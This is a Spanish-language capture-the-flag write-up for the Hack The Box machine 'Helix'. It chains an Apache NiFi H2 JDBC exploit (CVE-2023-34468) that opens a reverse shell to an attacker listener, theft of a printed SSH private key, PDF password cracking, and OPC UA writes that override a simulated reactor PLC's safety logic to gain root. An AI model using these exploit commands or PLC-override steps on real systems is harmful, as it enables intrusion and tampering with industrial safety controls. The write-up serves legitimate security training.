Helix WriteUp

Table of Contents

Helix WriteUp

Helix es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, ambientada en Helix Industries | Industrial Automation & Critical Infrastructure. Es una de las máquinas más realistas en cuanto a entornos OT/ICS (Operational Technology / Industrial Control Systems) publicadas en la plataforma, combinando una vulnerabilidad web clásica (Apache NiFi) con interacción directa sobre un protocolo industrial (OPC UA).

🗺️ Cadena de Ataque

nmap → vhost flow.helix.htb → Apache NiFi 1.21.0
  → CVE-2023-34468 (H2 JDBC RCE vía DBCPConnectionPool/ExecuteSQL)
  → shell como nifi
  → SSH key en support bundle (operator_id_ed25519.bak)
  → usuario operator → user.txt
  → sudo -l → /usr/local/sbin/helix-maint-console
  → "Operator Control & Safety Guide.pdf" protegido → pdf2john + john (R=6) → lógica de seguridad del PLC
  → túnel SSH a opc.tcp://127.0.0.1:4840/helix/ → uals/uaread/uawrite (python-opcua)
  → Mode=MAINTENANCE, TestOverride=True, CalibrationOffset → Temperature dentro de la ventana de mantenimiento
  → sudo helix-maint-console → root.txt

La gracia de Helix está en su segunda mitad: tras conseguir un usuario de bajo privilegio hay que hablar con un servidor OPC UA local para forzar al PLC simulado a entrar en un estado de “mantenimiento”, en lugar de un privesc Linux “de manual”.

🔍 Reconocimiento

echo "10.129.17.160 helix.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1 — Descubrimiento rápido:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv helix.htb

Fase 2 — Versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv helix.htb
PuertoServicioDetalle
22SSHOpenSSH 8.9p1 (Ubuntu)
80HTTPnginx 1.18.0 (Ubuntu)

Solo dos puertos visibles desde fuera. El puerto 80 sirve una landing page corporativa estática de “Helix Industries” — nada explotable a simple vista, así que toca buscar nombres virtuales.

Descubrimiento de Vhosts

ffuf -u http://helix.htb -H 'Host: FUZZ.helix.htb' -w /usr/share/wordlists/own/hackpuntes_subdomains_23565.txt -fs 154

💡 Sin el filtro -fs 154, ffuf devuelve cientos de falsos positivos (Status: 302, Size: 154) — todo subdominio no resuelto cae en el mismo redirect por defecto de nginx. Filtrando ese tamaño quedan solo los vhosts reales.

🎯 La enumeración de vhosts revela flow.helix.htb, que apunta a la interfaz de gestión de Apache NiFi.

echo "10.129.17.160 helix.htb flow.helix.htb" | sudo tee -a /etc/hosts

Visitando http://flow.helix.htb/nifi/ aparece el panel de login de Apache NiFi, con la versión 1.21.0 visible en el pie de página y en /nifi-api/system-diagnostics. nginx hace de proxy inverso hacia NiFi (puerto 8080 interno), por lo que no hace falta especificar el puerto desde fuera.

💉 Acceso Inicial — CVE-2023-34468 (Apache NiFi H2 RCE)

🧠 Concepto: CVE-2023-34468 (CVSS 9.8) afecta a los Controller Services DBCPConnectionPool y HikariCPConnectionPool de Apache NiFi 0.0.2 a 1.21.0. Un usuario autenticado puede configurar una Database URL apuntando al driver H2, embebiendo un CREATE TRIGGER (o CREATE ALIAS vía RUNSCRIPT) que ejecuta código Java/JavaScript arbitrario al inicializar la conexión. Combinado con un procesador ExecuteSQL, esto deriva en RCE en el host que ejecuta NiFi.

En el sistema se confirma la presencia del driver H2 vulnerable en /opt/nifi-1.21.0/lib/h2-2.1.214.jar, requisito imprescindible para que el exploit funcione.

Clonado del PoC

💡 Siguiendo la convención de Hackpuntes, los PoCs públicos se clonan completos en lugar de descargar un único fichero:

git clone https://github.com/Al3xx-sec/CVE-2023-34468-POC
cd CVE-2023-34468-POC

Ejecución del Exploit

El PoC automatiza todo el proceso: crea un Controller Service DBCPConnectionPool con una Database URL H2 maliciosa (que define un CREATE ALIAS para ejecutar comandos del sistema), añade un procesador ExecuteSQL enlazado a ese pool, y al arrancarlo dispara la ejecución.

penelope -p 8443
python3 CVE-2023-34468_poc.py --target http://flow.helix.htb --lhost 10.10.14.49 --lport 8443 --http-port 80 --cleanup
[*] Target: http://flow.helix.htb | LHOST: 10.10.14.49:8443 | HTTP: 80
[*] HTTP server up on :80
[*] Checking access...
[+] Identity: anonymous | Anonymous: True | canWrite: True
[+] Target is exploitable
[*] Getting root process group ID...
[+] PG ID: f203bc07-019b-1000-516b-eaedd48609d1
[*] Creating DBCPConnectionPool...
[+] CS ID: b8a044ff-019e-1000-e7b9-9f6789bc2ad7
[*] Enabling controller service...
[+] Controller service enabled
[*] Creating ExecuteSQL processor...
[+] Processor ID: b8a04dba-019e-1000-a29b-e0d2732dd787
[*] Starting processor...
[+] Processor running — waiting for shell on port 4444...
[+] rce.sql delivered to target

💡 NiFi tiene acceso anónimo con permisos de escritura (canWrite: True) — no hace falta ninguna credencial para crear Controller Services ni procesadores. El script crea un DBCPConnectionPool con la URL H2 maliciosa, lo habilita, y lo enlaza a un procesador ExecuteSQL que al arrancar dispara el CREATE ALIAS y ejecuta el payload de la reverse shell.

El script levanta un servidor HTTP temporal para servir el .sql malicioso, crea el Controller Service y el procesador ExecuteSQL vía la API REST de NiFi, y los habilita. Al ejecutarse el CREATE ALIAS, el JVM de NiFi lanza la reverse shell.

🚩 Shell como nifi

penelope -p 8443
[+] Listening for reverse shells on 0.0.0.0:8443 →  127.0.0.1 • 192.168.100.223 • 10.10.14.49
[+] Got reverse shell from helix~10.129.17.160-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
nifi@helix:/opt/nifi-1.21.0$ id
uid=998(nifi) gid=998(nifi) groups=998(nifi)
nifi@helix:/opt/nifi-1.21.0$ hostname
helix

🔎 Enumeración Post-Explotación

Robo de clave SSH desde un Support Bundle

💡 NiFi genera support bundles de diagnóstico (nifi.sh diagnostics) que pueden contener material sensible del sistema. Buscando bajo /opt/nifi-1.21.0/ aparece un directorio support-bundles/ con un fichero operator_id_ed25519.bak — una copia de la clave SSH privada del usuario operator.

nifi@helix:/opt/nifi-1.21.0$ find /opt/nifi-1.21.0 -iname "*operator*" -o -iname "*.bak" 2>/dev/null
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
nifi@helix:/opt/nifi-1.21.0$ cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

Se copia el contenido a la máquina atacante:

nano operator_id_ed25519
chmod 600 operator_id_ed25519
ssh -i operator_id_ed25519 operator@helix.htb

🚩 User Flag

operator@helix:~$ cat user.txt
<user_flag>

🧗 Escalada de Privilegios → root

Enumeración inicial

operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console
operator@helix:~$ ss -tulnp
Netid State  Local Address:Port   Peer Address:Port
udp   UNCONN 127.0.0.1:4840       0.0.0.0:*       <- OPC UA
tcp   LISTEN 127.0.0.1:8081       0.0.0.0:*       <- panel web de monitorización IoT
tcp   LISTEN 127.0.0.1:8080       0.0.0.0:*       <- Apache NiFi

/usr/local/sbin/helix-maint-console solo es invocable con sudo, sin contraseña — pero el binario comprueba el estado del PLC antes de abrir la consola de mantenimiento.

Cracking del PDF “Operator Control & Safety Guide”

En el $HOME de operator hay un PDF protegido con contraseña, además de una imagen del esquema de control:

operator@helix:~$ ls -la
total 968
drwxr-x--- 5 operator operator   4096 May  5 10:18  .
drwxr-xr-x 3 root     root       4096 May  5 10:18  ..
lrwxrwxrwx 1 root     root          9 Apr 20 10:14  .bash_history -> /dev/null
-rw-r--r-- 1 operator operator    220 Jan  6  2022  .bash_logout
-rw-r--r-- 1 operator operator   3771 Jan  6  2022  .bashrc
drwx------ 3 operator operator   4096 May  5 10:18  .cache
-rw------- 1 operator operator 920611 Jan 26 16:15 'control systems diagram.png'
drwxrwxr-x 5 operator operator   4096 May  5 10:18  .local
lrwxrwxrwx 1 root     root          9 Jan 26 16:11  .mysql_history -> /dev/null
-rw-rw-r-- 1 operator operator  28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'
-rw-r--r-- 1 operator operator    807 Jan  6  2022  .profile
drwx------ 2 operator operator   4096 May  5 10:18  .ssh
-rw-r----- 1 root     operator     33 Jun 11 21:22  user.txt
lrwxrwxrwx 1 root     root          9 Jan 26 16:11  .viminfo -> /dev/null

💡 Como pdf2john solo necesita leer la cabecera cifrada del PDF, primero se transfiere el fichero a la máquina atacante vía scp (ya tenemos la clave SSH de operator) y se genera el hash allí:

scp -i operator_id_ed25519 operator@helix.htb:'Operator Control & Safety Guide.pdf' .
pdf2john 'Operator Control & Safety Guide.pdf' > pdf.hash
hashcat -m 10500 pdf.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
[...]
Hashfile 'pdf.hash' on line 1 (Operat...9453cea981ddbb72d92650c0933785b5): Token length exception
No hashes loaded.

🧠 Concepto: Los PDF cifrados con AES usan PBKDF2 para derivar la clave a partir de la contraseña del usuario, pero el hash de pdf2john codifica también la versión y revisión del esquema de cifrado ($pdf$V*R*...). -m 10500 solo acepta PDF 1.7 nivel 3 (R=3, RC4/AES-128). El “Token length exception” indica que este PDF usa otra revisión:

cat pdf.hash
Operator Control & Safety Guide.pdf:$pdf$5*6*256*-4*1*16*7c46c5fed97042269c802d39f7ba411b*48*a3bf8039a5f2a39d85b611b374b74debe6be3aa6f01dc1a6e8dd5cd4157499f9a3efe04ca0c999bcac23d7efd22e8366*48*c8909cc91d0fa3d97bf1ce139c46df1936b2b9dc15a305a659d5eb2b1c3172da04ddf8efbfea0a98b3e5043e883ab3e7*32*d3e8e21436f4263214102eebcf3a51d2a4e5049fc2e2aaf50e594ce952db7011*32*a3b05cab12d5403fb8e96415a023560c9453cea981ddbb72d92650c0933785b5

$pdf$V*R*...V=5, R=6, longitud de clave 256 = AES-256 con esquema de hash de revisión 6 (PDF 2.0 / Acrobat DC, “hardened hash”). Para R=6, el formato que genera pdf2john no siempre encaja con el parser de hashcat -m 10700 (problema de compatibilidad de versiones) — en ese caso John the Ripper, que es quien genera el hash, lo crackea directamente sin problema:

john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
operator1        (Operator Control & Safety Guide.pdf)
1g 0:00:00:51 DONE (2026-06-11 23:55) 0.01940g/s 5123p/s 5123c/s 5123C/s orphee..olivetree
Use the "--show --format=PDF" options to display all of the cracked passwords reliably

🎯 Contraseña del PDF: operator1

Tras abrir el PDF con esa contraseña, el documento (“Helix Industries — Reactor Operations & Safety Logic — Operator Guide”) describe la lógica de seguridad del PLC del reactor y las condiciones exactas para entrar en una ventana de mantenimiento:

🧠 Variables clave del PLC

  • Temperature / Pressure — variables de proceso del reactor
  • CalibrationOffset — ajuste de calibración exclusivo de mantenimiento (en NORMAL debe ser 0.0)
  • TripActive, RodsInserted, EmergencyCooling — variables de seguridad, gestionadas automáticamente
  • Mode (NORMAL / MAINTENANCE), TestOverride, ResetTrip — variables de control del operador

Umbrales de trip de seguridad: Temperature ≥ ~305°C o Pressure ≥ ~75 barTripActive = TRUE, control bloqueado.

Ventana de mantenimiento — se abre cuando:

  • Temperature ≥ ~295°C o Pressure ≥ 73 bar
  • Pressure y Temperature siguen por debajo de los umbrales de trip
  • No hay ningún trip activo (TripActive = FALSE)

Para entrar en mantenimiento: Mode = MAINTENANCETestOverride = TRUE → ajuste controlado y gradual de CalibrationOffset hasta entrar en la ventana, sin disparar el trip.

El siguiente paso es conectar al endpoint OPC UA local con python-opcua para localizar estos nodos en el espacio de direcciones del PLC y reproducir esta secuencia.

Manipulación del PLC vía OPC UA

🧠 Concepto: OPC UA (OPC Unified Architecture) es el protocolo estándar de comunicación en entornos industriales (SCADA/ICS) para intercambiar datos entre PLCs, sensores y sistemas SCADA. Helix expone un endpoint OPC UA local en opc.tcp://127.0.0.1:4840/helix/, solo accesible desde el propio host.

Se instala el cliente python-opcua (incluye las utilidades uals, uaread y uawrite) en la máquina atacante:

pipx install opcua

Como el endpoint solo escucha en 127.0.0.1 del propio Helix, hace falta un túnel SSH para llevarse el puerto a Kali:

ssh -i operator_id_ed25519 -L 4840:127.0.0.1:4840 operator@helix.htb

Con el túnel levantado, se navega el espacio de nombres desde Kali apuntando a 127.0.0.1:4840:

uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=1"
cryptography is not installed, use of crypto disabled
cryptography is not installed, use of crypto disabled
Browsing node ns=2;i=1 at opc.tcp://127.0.0.1:4840/helix/

DisplayName                    NodeId                    BrowseName                Value

Reactor                         ns=2;i=2                 2:Reactor
Safety                          ns=2;i=7                 2:Safety
Control                         ns=2;i=11                2:Control

💡 El aviso “cryptography is not installed, use of crypto disabled” es solo informativo — python-opcua no soporta políticas de seguridad cifradas sin el extra cryptography, pero el endpoint usa Security Policy: None, así que no afecta.

El espacio de nombres confirma la estructura descrita en el PDF: Reactor (Temperature, Pressure, CalibrationOffset), Safety (TripActive, RodsInserted, EmergencyCooling) y Control (Mode, TestOverride, ResetTrip), cada uno bajo su propio nodo padre. Se navega cada rama para obtener los NodeId y valores actuales:

uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=2"
uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=7"
uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=11"
DisplayName                    NodeId                    BrowseName                Value

TemperatureRaw                 ns=2;i=3                  2:TemperatureRaw         , 282.9230620168299
Temperature                    ns=2;i=4                  2:Temperature            , 282.9230620168299
Pressure                       ns=2;i=5                  2:Pressure               , 68.92659629905303
CalibrationOffset              ns=2;i=6                  2:CalibrationOffset      , 0.0

RodsInserted                   ns=2;i=8                  2:RodsInserted           , False
EmergencyCooling               ns=2;i=9                  2:EmergencyCooling       , False
TripActive                     ns=2;i=10                 2:TripActive             , False

Mode                           ns=2;i=12                 2:Mode                   , NORMAL
TestOverride                   ns=2;i=13                 2:TestOverride           , False
ResetTrip                      ns=2;i=14                 2:ResetTrip              , False
NodeIdVariableValor inicial
ns=2;i=4Temperature282.92
ns=2;i=5Pressure68.93
ns=2;i=6CalibrationOffset0.0
ns=2;i=10TripActiveFalse
ns=2;i=12ModeNORMAL
ns=2;i=13TestOverrideFalse

Recordando los umbrales del PDF: la ventana de mantenimiento se abre con Temperature ≥ ~295°C o Pressure ≥ 73 bar, mientras que el trip salta en Temperature ≥ ~305°C / Pressure ≥ ~75 bar. Con los valores actuales (Temperature=282.92, Pressure=68.93), hace falta subir CalibrationOffset sin pasarse de esos límites.

Primero se activa el modo mantenimiento y el override de pruebas:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string MAINTENANCE
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool True

Y se empieza a subir CalibrationOffset poco a poco, comprobando el efecto sobre Temperature y Pressure tras cada cambio:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 5.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
289.33401141662006   <- Temperature
69.22247725105946    <- Pressure
False                <- TripActive

🎯 Con CalibrationOffset = 5.0, Temperature sube de 282.92 a 289.33 (+6.41) mientras que Pressure apenas se mueve (+0.29). El offset afecta sobre todo a la temperatura, que tiene mucho más margen hasta el trip (305) que la presión (75, a solo ~6 del valor inicial). La vía segura para entrar en la ventana de mantenimiento es subir Temperature por encima de 295 vía CalibrationOffset, dejando Pressure casi intacta.

Se sube el offset a 10.0:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 10.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
294.5926630532557   <- Temperature
69.363813517732     <- Pressure
False               <- TripActive

Temperature = 294.59, todavía por debajo del umbral 295 de la ventana por un margen mínimo. Pressure sigue prácticamente plana (69.36) y TripActive sigue False. Hace falta un empujón más, pequeño.

Se sube a 11.0:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 11.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
294.5991042574932   <- Temperature
69.35433658606945   <- Pressure
False               <- TripActive

Apenas hay cambio respecto a offset=10.0 (294.5926294.5991): la subida de Temperature se está aplanando, no es lineal con CalibrationOffset. Parece que el valor converge hacia un límite cercano a ~294.6 y necesita más “empuje” (offset bastante mayor) para cruzar el 295.

Se prueba un salto mayor, a 30.0:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 30.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
311.2887735080892   <- Temperature
68.84694914415067   <- Pressure
True                <- TripActive

⚠️ Sobrepasado: Temperature = 311.29 supera el umbral de trip (~305) y TripActive pasa a True. Según el PDF, un trip queda latched (bloqueado) y no se puede limpiar arbitrariamente — el reactor entra en parada de seguridad y los inputs del operador quedan restringidos hasta cumplir las condiciones de reset.

Recuperación tras el Trip — ResetTrip

El PDF especifica las condiciones exactas para que ResetTrip sea aceptado:

  • Temperature < ~288°C
  • Pressure < ~70 bar
  • Mode = NORMAL
  • TestOverride = False
  • CalibrationOffset = 0.0

Se revierten todas las variables a su estado seguro:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 0.0
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string NORMAL
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool False

Tras unos segundos (el sistema necesita tiempo para que Temperature y Pressure bajen de nuevo), se confirma con uaread el estado de todas las variables relevantes:

283.99424562137494   <- Temperature  (< 288 ✓)
68.99885874228286    <- Pressure     (< 70 ✓)
0.0                  <- CalibrationOffset ✓
NORMAL               <- Mode ✓
False                <- TestOverride ✓

Con las cinco condiciones cumplidas, se solicita el reset del trip:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=14" -t bool True
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
False   <- TripActive

TripActive = False — el trip queda limpiado. Un primer intento de ResetTrip (lanzado justo después del overshoot, con Temperature todavía por encima de 288) no funcionó — confirma que el PLC valida las condiciones en el momento exacto de la escritura, no de forma diferida.

Se vuelve a entrar en modo mantenimiento y, esta vez, se prueba con un offset intermedio (18.0) en vez de saltar directo a 30.0:

uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string MAINTENANCE
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool True
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 18.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
302.1703913181868   <- Temperature  (dentro de la ventana 295–305 ✓)
False               <- TripActive

🎯 Temperature = 302.17 cae dentro de la ventana de mantenimiento (295 ≤ Temperature < 305) sin disparar el trip (TripActive = False). Con Mode = MAINTENANCE, TestOverride = True y Temperature en este rango, todas las condiciones del PDF para la ventana de mantenimiento se cumplen.

helix-maint-console — Consola de Mantenimiento Privilegiada

Antes de tocar nada vía OPC UA, se comprueba el estado actual del binario privilegiado:

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.

💡 Esto confirma lo descrito en el PDF: helix-maint-console valida en tiempo real, contra el PLC vía OPC UA, que el reactor esté dentro de la ventana de mantenimiento (Mode = MAINTENANCE, TestOverride = TRUE, Temperature ≥ ~295°C o Pressure ≥ 73 bar, sin trip activo). Con el reactor en su estado normal, la ventana está cerrada — toca usar uawrite para llevar al PLC a ese estado.

Con Temperature = 302.17 dentro de la ventana, TripActive = False, Mode = MAINTENANCE y TestOverride = True, se vuelve a lanzar la consola:

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 105 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#

🎯 helix-maint-console valida el estado del PLC vía OPC UA y, al estar dentro de la ventana de mantenimiento, abre directamente una shell como root — con un aviso de que la ventana expira en 105 segundos y la sesión se cerrará automáticamente cuando el reactor vuelva a su estado normal.

🏴 Root Flag

root@helix:/home/operator# cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1Descubrimiento de vhost flow.helix.htbnmap, ffufAcceso a interfaz Apache NiFi 1.21.0
2CVE-2023-34468 — RCE vía H2 JDBC en DBCPConnectionPoolgit clone PoC, NiFi ExecuteSQL, penelopeShell como nifi
3Robo de clave SSH desde support bundleEnumeración de ficherosAcceso SSH como operator + user.txt 🚩
4Cracking de “Operator Control & Safety Guide.pdf”scp, pdf2john, john (R=6)Lógica de seguridad del reactor (umbrales, ventana de mantenimiento)
5Enumeración del espacio de nombres OPC UApython-opcua (uals) vía túnel SSHMapa de nodos: Reactor, Safety, Control
6Manipulación del PLC vía OPC UA (uawrite/uaread)python-opcuaMode=MAINTENANCE, TestOverride=True, CalibrationOffset=18.0Temperature≈302 dentro de la ventana de mantenimiento
7sudo helix-maint-console con PLC en ventana de mantenimientosudoShell como root + root.txt 🏴

Un saludo, nos vemos en el próximo challenge.